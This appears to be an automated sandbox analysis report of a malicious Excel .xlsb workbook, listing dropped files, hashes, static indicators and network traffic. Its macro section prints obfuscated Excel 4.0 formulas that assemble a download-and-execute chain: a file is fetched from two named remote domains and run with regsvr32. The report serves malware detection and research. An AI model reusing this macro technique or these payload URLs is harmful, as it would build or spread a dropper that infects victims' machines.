                                                                                                                                                        Preview: .PNG........IHDR.......l...........sRGB.........pHYs..........+....'.IDATx^.].|.U...%...J.".....H.&Ui......E.........D.7....U.i..FH#=......3..$K....'{3....7........0.H......H..03..,....8.q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8......... .`..) @...X...q..>N...>.........q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8...l..m.i'Sj.W.i.S.TJ....D.D._%...]..i.;J..b..T.).Ik.L6..L.mN....!*..\..'{$.o._b..h....t"@.?...y...d..h..|..B9D..CJD..t."........bR"....I)H....z.......>|.....E.x..r....J.U..[...p:D....XF......A...E.....b..C...C..C......=.Z..$.=../....Y..x5CY.0l..,~.W. .?......;...$.'....<.H.2...z..6(.E........kw8w^.\~...".C,gl&.m..J2.).HI.....b.r...'.....r.H...P.....'...A.^.q..j).cZ.^1~.|.........dv^.^v..X..v..6/^.$rR. iK..H.Uu.Pvk....U.....'.Fd..Z.]mu\*1.Zb.\b...N..P..&tr;.W....J.K(@.^A..R.S.[~.v.R.YO...0-...2..h."..............7..Ng...R...e.&..@..t..N...{5...W.x./#.%..}t...F8-..M1..(4b1....&.....)B...6.
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D9C23A0F.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 490 x 30, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):18547
                                                                                                                                                        Entropy (8bit):7.9850486438978985
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:384:kBCIQCloAwCZDy0xOTn6/g6l4NpWfw9nHk6Ka01f7Y/H:kBCIQpAwODPMT6/gfOUKN70
                                                                                                                                                        MD5:ED31C7053D581EDC4C98D222CE02EDEF
                                                                                                                                                        SHA1:6BA7A49CC6FF8FE00E9C5BC75F48AB7E679536DD
                                                                                                                                                        SHA-256:0FCF61397154DF01CFAECA362BD643D88AAD5FEDD07B52DC8A921CC0D7236534
                                                                                                                                                        SHA-512:929BF13F2A050B33D0EABDAC97CAAFDDE612AD521027FEE4DD51E28A3CF61198D6C045E00AB85223C73D74D18BB4EAA1681C7AFA917946DC08A3C75FB2AB4935
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview: .PNG........IHDR.............l{......sRGB.........pHYs..........+....H.IDATx^...U............"x....U...."...Tc.{...M1M..In....TATb4F,`oD..Q..3......g.3..Lr.D....a8....~.z....Z...yyF..9...:.H.Q2..)/L.....Q.}....(J..,...w2>R.$..G2..m>..|...0.M.g.Xnjj...P.v..x....S......B..p.=.Lz.^..Wi..2U.V'.a..*DE.'..rT.z....#.;..]....[?.C...o.m`]..m][;.:<..]F.9..u..Q]c.Ue.9....(.F.Z.~s..Q:..B...)..LZ.TTo..P.gc.l.'.X.}..H....Q.h|....L..rcd.2dN..co..5.....w.U.4..}........{.Q.....D2.J.z~..:Y3,.H..(#.J.Q......N.._7....w.....].2w.6...._....u.......9-.7.f9...E9...p.A..f....=....Bqu....A.u.JG>b"...%..0..W.H=...G#.DR.....P.|FD).NJ....)>.;...M...T*.dW..t:[.xT..M.|S...O..."M.4u7.uS...]4..R.vK....*).ZK.. J.=.9C.].kr..ES..6..f.(.....N':..t..^.S....kn[s.#..(.....m.....~....6>....:u.J.mO.....%D...Q...6%....!......H.....v..^%....$.._..V........[o5.H8......n.~M.z.RL.0p:.iC.k.1..$...............3[....mS5..........E...2.&...k]...A.....K.8...5..O.@7.[-.F4*7...i....in...y....A
                                                                                                                                                        C:\Users\user\AppData\Local\Temp\DDC40000
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:data
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):157782
                                                                                                                                                        Entropy (8bit):7.964597556908484
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3072:LdlQ9VlUBWA6CFvA7brCxAVIKDXv/V1REyNEsAnexVymd1xXPw5Z:Lw3liWA6FiYDXvNfzTYexVyWxfw
                                                                                                                                                        MD5:C13E6BF20183BA8C88E0FB56D73D21A0
                                                                                                                                                        SHA1:B6A7B8EADDA331BAFCA4ECEC7C5D226C27A92551
                                                                                                                                                        SHA-256:AEE76617630889287A4C663FD4031692727A71470924AA6C715F8FFA11E01056
                                                                                                                                                        SHA-512:105AB4B4FDD6B3168222390942A526DD1B7340407647D92172D5E61EF8733FAC1CBEA45A86521847B90E5F2C4A757A86363087E14A0AD5C51DAFD07D6DC327F5
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview: .U.N.0.}G.....J\@Z!....w.`?....U..1..=c7..JK)...'s.3.x|...z.....7#V..^i....u}.*L.)a...-.......n..+.v.>.p.9......p...hE.... .\t.OF._\z...:e.6._.L.T]-hy.d...~...T-.!.-E"....w$......%..C....H.4!jb.......o...{.m..7gD0......2K)..?...r.c........T7".?.[|a......f;H6.b....).5V........Y.......?A.v.l._.....Qt.B....b........c..t........\..g..a'...........6..].k..:T..Y.....}...K3.&..4.#....D..u .I.z.m..kF......@m...<.......PK..........!.[:..............[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:Little-endian UTF-16 Unicode text, with CR line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):22
                                                                                                                                                        Entropy (8bit):2.9808259362290785
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3:QAlX0Gn:QKn
                                                                                                                                                        MD5:7962B839183642D3CDC2F9CEBDBF85CE
                                                                                                                                                        SHA1:2BE8F6F309962ED367866F6E70668508BC814C2D
                                                                                                                                                        SHA-256:5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
                                                                                                                                                        SHA-512:2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview: ....p.r.a.t.e.s.h.....
                                                                                                                                                        C:\Users\user\Desktop\~$viVrtGR9Wg.xlsb
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:data
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):165
                                                                                                                                                        Entropy (8bit):1.6081032063576088
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3:RFXI6dtt:RJ1
                                                                                                                                                        MD5:7AB76C81182111AC93ACF915CA8331D5
                                                                                                                                                        SHA1:68B94B5D4C83A6FB415C8026AF61F3F8745E2559
                                                                                                                                                        SHA-256:6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
                                                                                                                                                        SHA-512:A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
                                                                                                                                                        Malicious:true
                                                                                                                                                        Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                        Static File Info

                                                                                                                                                        General

                                                                                                                                                        File type:Microsoft Excel 2007+
                                                                                                                                                        Entropy (8bit):7.957827116644032
                                                                                                                                                        TrID:
                                                                                                                                                        • Excel Microsoft Office Binary workbook document (47504/1) 49.74%
                                                                                                                                                        • Excel Microsoft Office Open XML Format document (40004/1) 41.89%
                                                                                                                                                        • ZIP compressed archive (8000/1) 8.38%
                                                                                                                                                        File name:viVrtGR9Wg.xlsb
                                                                                                                                                        File size:157733
                                                                                                                                                        MD5:008e2b469abf7058701ed9809ba1f949
                                                                                                                                                        SHA1:d3c7adb371859497a0e3b61796a9469b1e9d1721
                                                                                                                                                        SHA256:2d659e7701fdd879c933ca2f625d7183810342fd79a75d476dd68f4c3b8eeeb4
                                                                                                                                                        SHA512:2712a3b68a18557c607eaf6373fc39b1607df01ece0c9acf80396f192151d3831af2a3579c9ca7ce0ef5b02ed012f31a5dce6b989319eb0ae50379966648fb26
                                                                                                                                                        SSDEEP:3072:bzjTemXbxVymd1xXPMU9VlUBWA6CFvA7bRCxAVIKxS6:7TecbxVyWxfMU3liWA6FsYn
                                                                                                                                                        File Content Preview:PK..........!...k.....".......[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                        File Icon

                                                                                                                                                        Icon Hash:74f0d0d2c6d6d0f4

                                                                                                                                                        Static OLE Info

                                                                                                                                                        General

                                                                                                                                                        Document Type:OpenXML
                                                                                                                                                        Number of OLE Files:1

                                                                                                                                                        OLE File "viVrtGR9Wg.xlsb"

                                                                                                                                                        Indicators

                                                                                                                                                        Has Summary Info:
                                                                                                                                                        Application Name:
                                                                                                                                                        Encrypted Document:
                                                                                                                                                        Contains Word Document Stream:
                                                                                                                                                        Contains Workbook/Book Stream:
                                                                                                                                                        Contains PowerPoint Document Stream:
                                                                                                                                                        Contains Visio Document Stream:
                                                                                                                                                        Contains ObjectPool Stream:
                                                                                                                                                        Flash Objects Count:
                                                                                                                                                        Contains VBA Macros:

                                                                                                                                                        Macro 4.0 Code

                                                                                                                                                        "=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=FORMULA('Doc2'!BL28,'Doc3'!AY16)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA(""U""&'Doc3'!AY16&'Doc2'!BL29&'Doc2'!BL30,'Doc3'!AY10)",,,"=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA('Doc2'!BJ39&'Doc2'!BO28&'Doc3'!AY17&'Doc2'!BJ43&'Doc3'!AY10&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY11&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY12&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ42&'Doc2'!BJ41&""https://""&'Doc3'!AY13&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&before.4.6.53.sheet!BG23&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ45&'Doc2'!BJ44,'Doc3'!AW10)=SUMXMY2(452354,45245)",,,,,,,,,"=FORMULA('Doc2'!BO36,'Doc3'!AY13)",,,=GOTO('Doc3'!AW8),,,"=FORMULA('Doc2'!BM28&'Doc2'!BM29&'Doc2'!BM30&""B"",'Doc3'!AY12)",,,,,,"=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=A
                                                                                                                                                        ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,J,,CAL,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,EXEC,,,0,,LM,JC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,on,CB,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,wnl,,oadT,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Fil,,LDo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,""")",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""r",,,,0,0,,,forfacks.com/v97aI6WALA4/fasol.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,eg,,,,,,,,dreamhimalayan.com/FMP5KgobFi/fasol.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,svr32 -s ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,"=LEFT(""LdecvsbgvrsxLxrgxg"",1)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",0",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                                                                                                        ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

                                                                                                                                                        Network Behavior

                                                                                                                                                        Network Port Distribution

                                                                                                                                                        TCP Packets

                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                        Jun 9, 2021 17:28:12.890801907 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.055175066 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.055373907 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.056669950 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.220745087 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.221824884 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.221884012 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.221892118 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.221935034 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.221939087 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.221978903 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.222012997 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.222039938 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.224854946 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.224931955 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.237972975 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.404102087 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.405473948 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.406586885 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:13.613280058 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.076881886 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.077058077 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:14.077456951 CEST44349736192.185.48.167192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.077543020 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:28:14.160644054 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.320427895 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.320557117 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.321156979 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.480962038 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.481509924 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.481561899 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.481601000 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.481630087 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.481818914 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.484292984 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.484411955 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.498792887 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.659210920 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.659364939 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.660384893 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.860318899 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.929445028 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.929631948 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.929697990 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.929768085 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:14.931349993 CEST49738443192.168.2.4192.185.113.120
                                                                                                                                                        Jun 9, 2021 17:28:15.091065884 CEST44349738192.185.113.120192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:29:58.586081028 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:29:58.975570917 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:29:59.678728104 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:30:01.069550991 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:30:03.850975990 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:30:09.413882017 CEST49736443192.168.2.4192.185.48.167
                                                                                                                                                        Jun 9, 2021 17:30:20.524416924 CEST49736443192.168.2.4192.185.48.167

                                                                                                                                                        UDP Packets

                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                        Jun 9, 2021 17:27:55.041970015 CEST5372353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:27:55.110244989 CEST53537238.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:27:55.492199898 CEST6464653192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:27:55.553209066 CEST53646468.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:27:55.555143118 CEST6529853192.168.2.48.8.8.8
